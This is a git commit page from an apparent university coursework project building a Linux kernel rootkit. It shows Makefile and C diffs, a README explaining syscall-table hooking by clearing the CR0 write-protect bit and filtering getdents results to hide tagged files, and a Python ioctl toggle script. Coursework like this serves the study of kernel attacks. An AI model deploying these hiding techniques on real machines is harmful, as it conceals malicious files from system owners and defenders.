linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 988431c67ac4e65e787de5dd01c8f401a1bd25af
parent c095ddabeb73914893cb196bd9bc3c833528ed94
Author: deurzen <m.deurzen@tum.de>
Date:   Thu, 26 Nov 2020 15:22:59 +0100

adds changes from rkp repo

Diffstat:
MMakefile | 10+++++-----
AREADME.md | 50++++++++++++++++++++++++++++++++++++++++++++++++++
Msrc/filehide.c | 6+++---
Msrc/g7.c | 2+-
Msrc/hook.c | 3+++
Dtoggle_filehide.py | 25-------------------------
Atoggle_filehiding.py | 12++++++++++++
7 files changed, 74 insertions(+), 34 deletions(-)

diff --git a/Makefile b/Makefile @@ -12,7 +12,7 @@ $(TARGET)-objs := $(SRC_FILES:%.c=%.o) ccflags-y := -std=gnu99 -Wno-declaration-after-statement -all: test +all: build debug: clean @make -C $(KERNELDIR) M=$(PWD) ccflags-y="-DDEBUG" modules @@ -26,20 +26,20 @@ clean: @make -C $(KERNELDIR) M=$(PWD) clean test: debug remove clear_dmesg install - -@sudo ./check_pingpong.py /proc/g7rkp + -@./check_pingpong.py /proc/g7rkp -@dmesg .PHONY: install install: - -@sudo insmod ./$(TARGET).ko + -@insmod ./$(TARGET).ko .PHONY: remove remove: - -@sudo rmmod $(TARGET) + -@rmmod $(TARGET) .PHONY: clear_dmesg clear_dmesg: - @sudo dmesg -c >/dev/null + @dmesg -c >/dev/null .PHONY: dmesg dmesg: diff --git a/README.md b/README.md @@ -0,0 +1,50 @@ +# Assignment 3: Kernel Space + +This README documents our implementation of assignment 3. + +## File Structure + +```bash +. ++--Makefile ++--check_filehiding The provided checker for filehiding ++--check_pingpong.py The checker for PingPong with our ioctl-value ++--toggle_filehiding.py Toggles our filehiding functionality (default: enabled) ++--src/ +| +--common.c Macros for debugging +| +--filehide.c Utility functions for file hiding +| +--filehide.h +| +--g7.c General module setup and ioctl handling +| +--hook.c Our hooked getdents{,64} functions and syscall hooking +| +--hook.h +| +--ioctl.c Utility functions for handling ioctl and debugging features +| +--ioctl.h Definitions for our ioctl numbers +| +--rootkit.h +``` + +## Usage + +To install _with_ debug messages: `make debug && sudo make install`; this will generate helpful messages to the kernel log, such as when ioctl requests are received and handled. + +To install _without_ debug messages: `make release && sudo make install`; this will run the rootkit in full stealth mode. + +## General Approach + + ### Rootkit Control Program + +For this part, we relied on our device file in `/proc/g7rkp`. By implementing operations in a `struct file_operations`, we can react to incoming ioctl requests on our device file. The only meaningful operation is currently `unlocked_ioctl`. + + +### File Hiding + +In order to hide files, we had to hook `getdents{,64}`. This is achieved by overwriting the syscall table with our own entries. We faced two hurdles here: + +1. Retrieving the syscall table. + + This is solved by the `kallsysms_lookup_name` function, which retrieves the address of the syscall table (stored in `/proc/kallsysm`). + +2. Writing into read-only pages. + + This is solved by unsetting the WP bit (cf. Intel IA64 & IA-32 SDM, Vol. 3A 2-15) of the control register cr0, allowing us to overwrite the entries in the syscall table. + +In our hooked `getdents{,64}` functions, we first of all execute the original syscall. After that, we gather every entry in the directory that `getdents{,64}` was called on and store them if the extented attribute `user.rootkit` is set to `rootkit`. This is done by iterating the `d_subidrs` linked list. With all this information, we can now loop over the `linux_dirent` array and remove every entry we want to hide. diff --git a/src/filehide.c b/src/filehide.c @@ -9,7 +9,7 @@ #include "filehide.h" #include "hook.h" -#define SIZE 64 +#define BUFLEN 64 void hide_files(void) @@ -33,11 +33,11 @@ unhide_files(void) unsigned long must_hide_inode(struct dentry *dentry) { - char buf[SIZE]; + char buf[BUFLEN]; if(dentry && dentry->d_inode) if(!inode_permission(dentry->d_inode, MAY_READ)) { - ssize_t len = vfs_getxattr(dentry, G7_XATTR_NAME, buf, SIZE); + ssize_t len = vfs_getxattr(dentry, G7_XATTR_NAME, buf, BUFLEN); if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL))) return dentry->d_inode->i_ino; diff --git a/src/g7.c b/src/g7.c @@ -40,7 +40,7 @@ static struct file_operations g7_fops = rootkit_t rootkit = { - .hiding_files = false, + .hiding_files = true, }; diff --git a/src/hook.c b/src/hook.c @@ -42,6 +42,9 @@ init_hooks(void) atomic_set(&getdents64_count, 0); sys_getdents64 = (void *)sys_calls[__NR_getdents64]; + + if (rootkit.hiding_files) + hide_files(); } void diff --git a/toggle_filehide.py b/toggle_filehide.py @@ -1,25 +0,0 @@ -#!/usr/bin/env python3 - -import fcntl -import os -import unittest -import argparse -import sys - -IOCTL_FILEHIDE = 0x80084001 - -proc_fd = None - -class TestIOCTLPing(unittest.TestCase): - def test_filehide(self): - arg = b"FILEHIDE" - res = fcntl.ioctl(proc_fd, IOCTL_FILEHIDE, arg) - self.assertEqual(res, b"FILEHIDE") - -if __name__ == "__main__": - parser = argparse.ArgumentParser() - parser.add_argument("proc_file") - args, remaining = parser.parse_known_args() - proc_fd = os.open(args.proc_file, os.O_RDWR) - - unittest.main(argv=[sys.argv[0]] + remaining) diff --git a/toggle_filehiding.py b/toggle_filehiding.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python3 + +import fcntl +import os +import sys + +IOCTL_FILEHIDE = 0x80084001 + +if __name__ == "__main__": + proc_file = "/proc/g7rkp" + proc_fd = os.open(proc_file, os.O_RDWR) + fcntl.ioctl(proc_fd, IOCTL_FILEHIDE, b"FILEHIDE");